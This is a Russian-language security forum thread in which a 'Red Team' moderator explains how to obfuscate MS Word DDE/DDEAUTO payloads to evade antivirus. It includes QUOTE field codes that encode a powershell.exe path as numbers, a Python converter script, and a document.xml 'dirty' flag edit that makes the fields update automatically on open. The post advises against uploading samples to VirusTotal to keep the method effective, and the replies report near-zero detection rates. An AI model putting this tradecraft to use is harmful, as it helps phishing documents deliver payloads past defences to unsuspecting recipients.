• Codeby web-security - Курс "Тестирование Веб-Приложений на проникновение с нуля" от команды codeby. Общая теория, подготовка рабочего окружения, пассивный фаззинг и фингерпринт, Активный фаззинг, Уязвимости, Пост-эксплуатация, Инструментальные средства, Social Engeneering и многое другое. Подробнее ...

  • Мобильный клиент нашего форума для Android гаджетов доступен в Google Play Market по этой ссылке. Клиент можно скачать с нашего форума по этой ссылке. Последняя версия МК в нашем телеграм канале вот здесь

MS Word DDE vs AV методы обфускации

Underwood

Mod. Powershell
Red Team
10.11.2016
166
575
#1
Приветствую уважаемых участников и гостей форума!
Многим известно о том что, буквально 2 недели назад эксперты из Sensepost опубликовали исследование, в котором подробно описали методику использования DDE (Dynamic Data Exchange) в MS Office для доставки полезной нагрузки.
С подробным анализом можно ознакомиться в статье "DDE на замену макросам" моей коллеги @IioS на нашем форуме.
Благодаря простоте использования и эффективности эта методика была быстро взята на вооружение и стала широко применяться в фишинговых компаниях по всему миру, поэтому большинство AV-вендоров довольно оперативно отреагировали и обновили свои антивирусные базы, добавив YARA-правила срабатывающие на поиск строк содержащих DDE или DDEAUTO в .docx/.doc документах, с последующим пристальным анализом содержания этих полей.

Примечание: Мы все прекрасно осведомлены, как такое обычно происходит, но все же считаю необходимым лишний раз упомянуть, категорически рекомендую воздержаться от проверки "своих документов" на Virustotal и аналогичных сервисах для сохранения эффективности работы описанных далее методов.

fuckAV1.jpg

Информация предназначена исключительно в образовательных целях.

Автор статьи и администрация ресурса не несут ответственности за использование перечисленных методик и инструментов в незаконных целях.

1. Micro$oft QUOTE
В первую очередь стоит обратить внимание на необходимость обфускации строки полезной нагрузки, как основного элемента полей DDE или DDEAUTO, так как сама по себе технология Dynamic Data Exchange легитимна и у AV вопросов не вызывает.
Можно вставить строку с полезной нагрузкой в поле QUOTE, к тому же согласно документации MS коды полей могут быть вложены в любое отдельное слово
Например:
Поле QUOTE содержит результат поля IF, в котором переменная содержит дату:
Код:
QUOTE {IF {DATE \ @ "M"} = 1 "12"
Поле QUOTE содержит результат поля IF, в котором переменная содержит дату форматирования:
Код:
QUOTE {IF {DATE \ @" M "} -1} / 1/10" \ @ "MMMM"}}
Содержание поля QUOTE может быть числом, равным порядковому значением символа, и оно автоматически преобразует его в соответствующий символ.
Например:
Необходимо найти символ, представленный значением 65, который будет отображаться как A, а не 65, и символ со значением 71, который будет отображаться как G
Код:
{QUOTE 65}
{SET c "{QUOTE 65 65 65 65}"}
{SET d "{QUOTE 71 71 71 71}"}
{DDE {REF c} {REF d}}
Это фактически становится:
Код:
{DDE "AAAA" "GGGG"}
Таким образом, можно представлять полезную нагрузку в виде целых чисел и слово автоматически преобразует ее в строку перед выполнением DDE
Автоматизировать это можно с помощью скрипта на python, который просто преобразует заданную строку в эквивалентное поле QUOTE
Код:
#!/usr/env/python
print("Converts a string to the {QUOTE} Field code")
st = raw_input("String to convert: ")
v = map(lambda y: "%s"%ord(y),st)
print("{ QUOTE %s }"%' '.join(v))
Теперь открыть Powershell можно так:
Код:
{SET C "{QUOTE 67 58 92 92 80 114 111 103 114 97 109 115 92 92 77 105 99 114 111 115 111 102 116 92 92 79 102 102 105 99 101 92 92 77 83 87 111 114 100 46 101 120 101 92 92 46 46 92 92 46 46 92 92 46 46 92 92 46 46 92 92 119 105 110 100 111 119 115 92 92 115 121 115 116 101 109 51 50 92 92 119 105 110 100 111 119 115 112 111 119 101 114 115 104 101 108 108 92 92 118 49 46 48 92 92 112 111 119 101 114 115 104 101 108 108 46 101 120 101} "}
{DDE {REF C}  "a"}
2. Dirty-ссылки в DDEAUTO
Kак можно догадаться из названия, cодержание поля DDEAUTO должно автоматически обновляется при открытии документа, этот функционал необходимо просто включить.
Для этого необходимо создать документ с расширением .docx, затем отредактировать document.xml в архиве, изменив значение w:dirty="false" на w:dirty="true" в каждой строке начинающейся с w:fldChar, сохранить и обновить содержимое архива.
Код:
<w:fldChar w:fldCharType="begin" w:dirty="true"/>
Таким образом при открытии документа ссылки будут автоматически обновляться, а диалоговое окно с предупреждением выглядит вполне безобидно.
Благодарю за внимание!
dde.jpg
 
Последнее редактирование:

Hackaton192

Active member
30.01.2017
31
29
#5
И как антивирусы с таким файлом ? На Вы или на ты ?
Свой локальный антивирусный стенд вам в помощь!
[doublepost=1509465212,1509450561][/doublepost]
Приветствую уважаемых участников и гостей форума!
Многим известно о том что, буквально 2 недели назад эксперты из Sensepost опубликовали исследование, в котором подробно описали методику использования DDE (Dynamic Data Exchange) в MS Office для доставки полезной нагрузки.
С подробным анализом можно ознакомиться в статье "DDE на замену макросам" моей коллеги @IioS на нашем форуме.
Благодаря простоте использования и эффективности эта методика была быстро взята на вооружение и стала широко применяться в фишинговых компаниях по всему миру, поэтому большинство AV-вендоров довольно оперативно отреагировали и обновили свои антивирусные базы, добавив YARA-правила срабатывающие на поиск строк содержащих DDE или DDEAUTO в .docx/.doc документах, с последующим пристальным анализом содержания этих полей.

Примечание: Мы все прекрасно осведомлены, как такое обычно происходит, но все же считаю необходимым лишний раз упомянуть, категорически рекомендую воздержаться от проверки "своих документов" на Virustotal и аналогичных сервисах для сохранения эффективности работы описанных далее методов.

Посмотреть вложение 12257

Информация предназначена исключительно в образовательных целях.

Автор статьи и администрация ресурса не несут ответственности за использование перечисленных методик и инструментов в незаконных целях.

1. Micro$oft QUOTE
В первую очередь стоит обратить внимание на необходимость обфускации строки полезной нагрузки, как основного элемента полей DDE или DDEAUTO, так как сама по себе технология Dynamic Data Exchange легитимна и у AV вопросов не вызывает.
Можно вставить строку с полезной нагрузкой в поле QUOTE, к тому же согласно документации MS коды полей могут быть вложены в любое отдельное слово
Например:
Поле QUOTE содержит результат поля IF, в котором переменная содержит дату:
Код:
QUOTE {IF {DATE \ @ "M"} = 1 "12"
Поле QUOTE содержит результат поля IF, в котором переменная содержит дату форматирования:
Код:
QUOTE {IF {DATE \ @" M "} -1} / 1/10" \ @ "MMMM"}}
Содержание поля QUOTE может быть числом, равным порядковому значением символа, и оно автоматически преобразует его в соответствующий символ.
Например:
Необходимо найти символ, представленный значением 65, который будет отображаться как A, а не 65, и символ со значением 71, который будет отображаться как G
Код:
{QUOTE 65}
{SET c "{QUOTE 65 65 65 65}"}
{SET d "{QUOTE 71 71 71 71}"}
{DDE {REF c} {REF d}}
Это фактически становится:
Код:
{DDE "AAAA" "GGGG"}
Таким образом, можно представлять полезную нагрузку в виде целых чисел и слово автоматически преобразует ее в строку перед выполнением DDE
Автоматизировать это можно с помощью скрипта на python, который просто преобразует заданную строку в эквивалентное поле QUOTE
Код:
#!/usr/env/python
print("Converts a string to the {QUOTE} Field code")
st = raw_input("String to convert: ")
v = map(lambda y: "%s"%ord(y),st)
print("{ QUOTE %s }"%' '.join(v))
Теперь открыть Powershell можно так:
Код:
{SET C "{QUOTE 67 58 92 92 80 114 111 103 114 97 109 115 92 92 77 105 99 114 111 115 111 102 116 92 92 79 102 102 105 99 101 92 92 77 83 87 111 114 100 46 101 120 101 92 92 46 46 92 92 46 46 92 92 46 46 92 92 46 46 92 92 119 105 110 100 111 119 115 92 92 115 121 115 116 101 109 51 50 92 92 119 105 110 100 111 119 115 112 111 119 101 114 115 104 101 108 108 92 92 118 49 46 48 92 92 112 111 119 101 114 115 104 101 108 108 46 101 120 101} "}
{DDE {REF C}  "a"}
2. Dirty-ссылки в DDEAUTO
Kак можно догадаться из названия, cодержание поля DDEAUTO должно автоматически обновляется при открытии документа, этот функционал необходимо просто включить.
Для этого необходимо создать документ с расширением .docx, затем отредактировать document.xml в архиве, изменив значение w:dirty="false" на w:dirty="true" в каждой строке начинающейся с w:fldChar, сохранить и обновить содержимое архива.
Код:
<w:fldChar w:fldCharType="begin" w:dirty="true"/>
Таким образом при открытии документа ссылки будут автоматически обновляться, а диалоговое окно с предупреждением выглядит вполне безобидно.
Благодарю за внимание!
Посмотреть вложение 12258

Не получается выполнить данный вариант обфускации!!
А именно судя по работе функции QUOTE, она разом не берет много значений! Underwood У Вас у самого получалось это сделать?
 

Underwood

Mod. Powershell
Red Team
10.11.2016
166
575
#6
Не получается выполнить данный вариант обфускации!!
А именно судя по работе функции QUOTE, она разом не берет много значений! Underwood У Вас у самого получалось это сделать?
Успешно тестировал на Word 2007, на 2010 и 2013 тоже должно работать, на 2016 как выше писали не удалось.
И как антивирусы с таким файлом ? На Вы или на ты ?
Неделю назад 1/59 определялся только 360 Total Security
 

Hackaton192

Active member
30.01.2017
31
29
#7
Успешно тестировал на Word 2007, на 2010 и 2013 тоже должно работать, на 2016 как выше писали не удалось.

Неделю назад 1/59 определялся только 360 Total Security
На 2010, к сожалению, не получается сделать таким образом((
 
Вверх Снизу